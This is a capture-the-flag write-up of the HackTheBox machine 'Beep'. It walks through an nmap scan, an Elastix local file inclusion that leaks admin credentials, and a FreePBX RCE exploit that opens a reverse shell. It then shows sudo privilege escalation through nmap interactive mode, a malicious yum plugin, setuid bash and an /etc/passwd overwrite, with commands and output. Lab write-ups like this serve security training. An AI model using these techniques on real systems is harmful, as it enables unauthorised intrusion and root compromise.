HackTheBox: Beep
linux elastix freepbx lfi rce sudo nmapBeep is a Linux-based machine authored by ch4p, with an average rating of 4.3 stars.
// Recon
┌──(kali㉿kali)-[/mnt/hgfs/VMWare-shared/HTB/beep]
└─$ nmap -A -p- beep.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-26 08:16 AEST
Nmap scan report for beep.htb (10.10.10.7)
Host is up (0.034s latency).
Not shown: 65519 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp open http Apache httpd 2.2.3
|_http-title: Did not follow redirect to https://beep.htb/
|_http-server-header: Apache/2.2.3 (CentOS)
110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_pop3-capabilities: LOGIN-DELAY(0) APOP IMPLEMENTATION(Cyrus POP3 server v2) USER AUTH-RESP-CODE TOP UIDL RESP-CODES PIPELINING STLS EXPIRE(NEVER)
|_sslv2: ERROR: Script execution failed (use -d to debug)
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 876/udp status
|_ 100024 1 879/tcp status
143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_imap-capabilities: THREAD=ORDEREDSUBJECT OK URLAUTHA0001 NAMESPACE CATENATE X-NETSCAPE LIST-SUBSCRIBED SORT=MODSEQ IMAP4rev1 STARTTLS IDLE CONDSTORE MULTIAPPEND SORT THREAD=REFERENCES Completed NO ATOMIC RENAME UNSELECT LISTEXT UIDPLUS BINARY LITERAL+ ANNOTATEMORE IMAP4 RIGHTS=kxte QUOTA ID ACL MAILBOX-REFERRALS CHILDREN
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_imap-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS))
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after: 2018-04-07T08:22:08
|_http-server-header: Apache/2.2.3 (CentOS)
|_ssl-date: 2022-07-25T22:19:51+00:00; -1s from scanner time.
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Elastix - Login page
879/tcp open status 1 (RPC #100024)
993/tcp open ssl/imap Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp open pop3 Cyrus pop3d
|_ssl-known-key: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
3306/tcp open mysql MySQL (unauthorized)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
4190/tcp open sieve Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 (included w/cyrus imap)
4445/tcp open upnotifyp?
4559/tcp open hylafax HylaFAX 4.3.10
5038/tcp open asterisk Asterisk Call Manager 1.1
10000/tcp open http MiniServ 1.570 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: Hosts: beep.localdomain, 127.0.0.1, example.com, localhost; OS: Unix
Host script results:
|_clock-skew: -1s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 321.31 seconds
Nmap reveals this target is likely running CentOS Linux, and hosts a significant number of external-facing services:
- ssh on port
22
- smtp via Postfix on port
25
- http via Apache 2.2.3 on both port
80
(cleartext http) and443
(encrypted https) - pop3 (post office protocol) via Cyrus pop3d on
110
(cleartext) and995
(encrypted) - imap (internet message access protocol) via Cyrus imapd 2.3.7 on
143
(cleartext) and993
(encrypted) - rpcbind on port
111
- MySQL on port
3306
- an unknown service,
upnotifyp
(possibly malicious based on some research) on port4445
- another http server, MiniServ 1.570, on port
10000
Beginning with the web-servers (which are usually the easiest to interrogate and evaluate) the server on port 80
provides a typical 302 redirect (without any meaningful content) to the SSL-enabled port 443
. Accessing the target on that port returns an Elastix login page:
Elastix claims to provide “..[a] unified communications server software that brings together IP PBX, email, IM, faxing and collaboration functionality”. From a security perspective, those services cover a lot of business functionality, so it’s likely that gaining access to this interface would yield considerable privileges. A number of published default credentials can be found online, but fail to provide access when tested.
// Initial Foothold
The HTTP response headers reveal the use of PHP 5.1.6
(quite old) and the setting of an elastixSession
cookie, but nothing that indicates what version of Elastix might be running on the target:
...
X-Powered-By: PHP/5.1.6
Set-Cookie: elastixSession=5fjnv8dhd9ffht6kvkl1dvdmd1; path=/
...
Searchsploit returns a number of hits for “Elastix”, predominantly against the 2.2
release:
┌──(kali㉿kali)-[~/HTB/beep]
└─$ searchsploit -w elastix
-------------------------------------------------------------------------------------- --------------------------------------------
Exploit Title | URL
-------------------------------------------------------------------------------------- --------------------------------------------
Elastix - 'page' Cross-Site Scripting | https://www.exploit-db.com/exploits/38078
Elastix - Multiple Cross-Site Scripting Vulnerabilities | https://www.exploit-db.com/exploits/38544
Elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities | https://www.exploit-db.com/exploits/34942
Elastix 2.2.0 - 'graph.php' Local File Inclusion | https://www.exploit-db.com/exploits/37637
Elastix 2.x - Blind SQL Injection | https://www.exploit-db.com/exploits/36305
Elastix < 2.5 - PHP Code Injection | https://www.exploit-db.com/exploits/38091
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution | https://www.exploit-db.com/exploits/18650
-------------------------------------------------------------------------------------- --------------------------------------------
Shellcodes: No Results
Discarding the XSS-related exploits, and those that require some level of access already, two stand out as most interesting:
- Elastix 2.2.0 - ‘graph.php’ Local File Inclusion
- FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution
The remote code execution exploit code essentially involves a specially crafted request, that takes advantage of what is likely an unauthenticated url to establish a reverse shell. The only problem is that it requires a known extension number to run, which we don’t have, and the default value of 1000
does not seem valid. Reviewing the graph.php local file inclusion indicates that we can access any file on the system that the webserver user has read access to, via a simple directory traversal attack. Running this exploit to retrieve the /etc/passwd
file confirms the target is vulnerable:
Leveraging this into gaining access to the system requires some knowledge of Elastix configuration. A great place to start is /etc/amportal.conf
, the primary configuration file for FreePBX (Elastix). Requesting it returns the following useful data:
# FreePBX Database configuration
...
AMPDBHOST=localhost
AMPDBENGINE=mysql
# AMPDBNAME=asterisk
AMPDBUSER=asteriskuser
# AMPDBPASS=amp109
AMPDBPASS=jEhdIekWmdjE
AMPENGINE=asterisk
AMPMGRUSER=admin
#AMPMGRPASS=amp111
AMPMGRPASS=jEhdIekWmdjE
...
# This is the default admin name used to allow an administrator to login to ARI bypassing all security.
# Change this to whatever you want, don't forget to change the ARI_ADMIN_PASSWORD as well
ARI_ADMIN_USERNAME=admin
# This is the default admin password to allow an administrator to login to ARI bypassing all security.
# Change this to a secure password.
ARI_ADMIN_PASSWORD=jEhdIekWmdjE
Nmap earlier identified that there is an externally-accessible MySQL port, but it seems that host-based authentication is also in use, preventing us from exploiting the stolen credentials:
┌──(kali㉿kali)-[~/HTB/beep]
└─$ mysql -uasteriskuser -pjEhdIekWmdjE -h beep.htb
ERROR 1130 (HY000): Host '10.10.17.230' is not allowed to connect to this MySQL server
We can, however, take the ARI_ADMIN_USERNAME
and ARI_ADMIN_PASSWORD
values and use them to login to the web server:
There is a lot of admin-level content available here, but what we’re really after is a valid extension, which can be found under the PBX
tab:
If we set extension="233"
in the RCE exploit mentioned earlier, along with the details of a running netcat listener, we’re able to establish a reverse shell:
rhost="10.10.10.7"
lhost="10.10.17.230"
lport=443
extension="233"
┌──(kali㉿kali)-[~/HTB/beep]
└─$ python2 18650.py
┌──(kali㉿kali)-[~/HTB/beep]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.17.230] from (UNKNOWN) [10.10.10.7] 44146
whoami
asterisk
From here, we can retrieve the user flag from the usual location:
ls /home
fanis
spamfilter
ls /home/fanis/
user.txt
cat /home/fanis/user.txt
20837***************************
// Privilege Escalation
As explained in the RCE exploit documentation, FreePBX boxes come pre-configured with a smorgasboard of sudo-enabled privilege escalation methods for the asterisk user:
bash-3.2$ sudo -l
sudo -l
Matching Defaults entries for asterisk on this host:
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
XAUTHORITY"
User asterisk may run the following commands on this host:
(root) NOPASSWD: /sbin/shutdown
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/bin/yum
(root) NOPASSWD: /bin/touch
(root) NOPASSWD: /bin/chmod
(root) NOPASSWD: /bin/chown
(root) NOPASSWD: /sbin/service
(root) NOPASSWD: /sbin/init
(root) NOPASSWD: /usr/sbin/postmap
(root) NOPASSWD: /usr/sbin/postfix
(root) NOPASSWD: /usr/sbin/saslpasswd2
(root) NOPASSWD: /usr/sbin/hardware_detector
(root) NOPASSWD: /sbin/chkconfig
(root) NOPASSWD: /usr/sbin/elastix-helper
GTFOBins provides great examples of usage for a lot of these, some highlights including:
nmap
can be run in interactive mode, which can then be upgraded to a native shell:
bash-3.2$ sudo nmap --interactive
sudo nmap --interactive
Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
sh-3.2# whoami
whoami
root
yum
can be used to build and install a malicious rpm package, that includes a plugin to spawn a root shell:
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF
cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
EOF
bash-3.2$ sudo yum -c $TF/x --enableplugin=y
sudo yum -c $TF/x --enableplugin=y
Loaded plugins: y
No plugin match for: y
sh-3.2# whoami
whoami
root
chmod
can be abused in set multiple system binaries to SETUID, allowing for privilege escalation. One example includes making/bin/bash
setuid:
# not setuid to begin with
bash-3.2$ ls -l /bin/bash
ls -l /bin/bash
-rwxr-xr-x 1 root root 729292 Jan 22 2009 /bin/bash
# adding setuid
bash-3.2$ sudo chmod 4755 /bin/bash
sudo chmod 4755 /bin/bash
# confirming the change
bash-3.2$ ls -l /bin/bash
ls -l /bin/bash
-rwsr-xr-x 1 root root 729292 Jan 22 2009 /bin/bash
# escalating to root
bash-3.2$ whoami
whoami
asterisk
bash-3.2$ /bin/bash -p
/bin/bash -p
bash-3.2# whoami
whoami
root
Another involves setting /bin/cp
as SETUID, then setting the root password in a temporary copy of /etc/passwd
, and finally copying it back into the protected path:
# not setuid to begin with
bash-3.2$ ls -l /bin/cp
ls -l /bin/cp
-rwxr-xr-x 1 root root 68248 Mar 30 2011 /bin/cp
# adding setuid
bash-3.2$ sudo chmod 4755 /bin/cp
sudo chmod 4755 /bin/cp
# confirming the change
bash-3.2$ ls -l /bin/cp
ls -l /bin/cp
-rwsr-xr-x 1 root root 68248 Mar 30 2011 /bin/cp
# creating a temporary copy of passwd, and setting the root password:
bash-3.2$ cat /etc/passwd | sed "s/root:x/root"$(openssl passwd h4ckth3box)"/g" > /tmp/passwd
> /tmp/passwd | sed "s/root:x/root"$(openssl passwd h4ckth3box)"/g"
Warning: truncating password to 8 characters
# using setuid cp to move the temporary copy back to /etc:
bash-3.2$ cp /tmp/passwd /etc/passwd
cp /tmp/passwd /etc/passwd
# logging in as root with the new password:
bash-3.2$ su -
su -
Password: h4ckth3b0x
[root@beep ~]# whoami
whoami
root
Whichever path is chosen, the root flag can then be retrieved from the usual location:
sh-3.2# cat /root/root.txt
cat /root/root.txt
83f48***************************